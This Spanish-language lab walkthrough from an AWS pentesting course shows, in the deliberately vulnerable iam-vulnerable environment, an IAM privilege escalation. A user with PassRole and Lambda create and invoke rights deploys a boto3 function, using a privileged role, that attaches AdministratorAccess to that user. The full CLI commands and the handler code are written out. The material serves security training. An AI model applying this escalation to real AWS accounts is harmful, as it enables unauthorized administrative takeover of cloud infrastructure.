PassExistingRoleToNewLambdaThenInvoke

¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el CPNA - Curso Profesional de Pentesting Contra AWS. No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.

Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

https://github.com/BishopFox/iam-vulnerable

Un atacante con los permisos iam:PassRole , lambda:CreateFunction y lambda:InvokeFunction puede escalar privilegios pasando un rol de IAM existente a una nueva función de Lambda que incluye código para importar la biblioteca de AWS relevante para el lenguaje de programación de su elección, y luego usándola para realizar las acciones de su elección.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

Este usuario tiene la siguiente política:

Este usuario tiene el siguiente rol:

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

aws iam list-attached-user-policies --user-name privesc15-PassExistingRoleToNewLambdaThenInvoke-user

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/privesc15-PassExistingRoleToNewLambdaThenInvoke --version-id v1

Para este laboratorio, debemos crear un rol con los siguientes parámetros establecidos:

Luego de la creación del rol, podemos revisar como quedo todo configurado:

Este rol será necesario para realizar la demostración de esta técnica y representará un rol privilegiado que será asociado a una lambda.

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

aws sts assume-role --role-arn arn:aws:iam::037572360634:role/privesc15-PassExistingRoleToNewLambdaThenInvoke-role --role-session-name privesc15

A partir de este momento, estaremos trabajando con el usuario privesc15-PassExistingRoleToNewLambdaThenInvoke-user.

Todos los comandos posteriores deben tener especificado el --profile con su respectivo nombre de perfil.

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile privesc15

El token se especificará dentro del archivo plano de credenciales.

aws sts get-caller-identity --profile privesc15

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc15-PassExistingRoleToNewLambdaThenInvoke-user --profile privesc15

En este escenario, tenemos que aprovechar del privilegio de lambda:CreateFunction para crear una función de lambda maliciosa que tendrá el código para adjuntar una política de altos privilegios a nuestro usuario inicial.

Nosotros estaremos utilizando el lenguaje de programación llamado Python y la librería boto3.

¿Qué es Boto3? Es una librería de python para facilitar la integración con los servicios de AWS (Amazon Web Services) tales como: S3, SES, DynamoDB, entre muchos otros.

Referencia para Boto3:

El código malicioso de la lambda es el siguiente:

import boto3
def lambda_handler(event, context):
  client = boto3.client('iam')
  response = client.attach_user_policy(UserName='privesc15-PassExistingRoleToNewLambdaThenInvoke-user', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
  return response

Tendremos que guardar este código en un archivo con cualquier nombre como, por ejemplo: code.py

Posteriormente, tenemos que comprimir este script a un archivo comprimido llamado function.zip

Es importante resaltar, que debemos situarnos en el directorio que tiene alojado el archivo desde la terminal.

Para el próximo comando, estaremos creando la lambda utilizando el script previamente indicado y le estaremos asignando el rol de servicio llamado Rol-Spartan-Vulnerable-CPNA-Lambda o cualquier rol con altos privilegios.

Ahora procedemos a crear una función de lambda con el siguiente comando:

aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::037572360634:role/Rol-Spartan-Vulnerable-CPNA-Lambda --handler code.lambda_handler --zip-file fileb://function.zip --region us-east-2 --profile privesc15

Ahora que hemos creado nuestra función maliciosa vamos aprovechar nuestro otro privilegio de lambda:InvokeFunction para invocar dicha función y que finalmente nuestro usuario inicial adquiera el rol de administrador.

aws lambda invoke --function-name privesc output.txt --region us-east-2 --profile privesc15

Después de la invocación de la función de lambda, podemos revisar el contenido de nuestro archivo llamado output.txt

En la evidencia previa, podemos identificar el código HTTP 200 y esto significa que la petición fue realizada e interpretada de manera exitosa.

Para finalizar, vamos a validar los permisos para el usuario inicial:

Finalmente, hemos comprometido exitosamente un rol administrativo por medio de la técnica previamente explicada.

Última actualización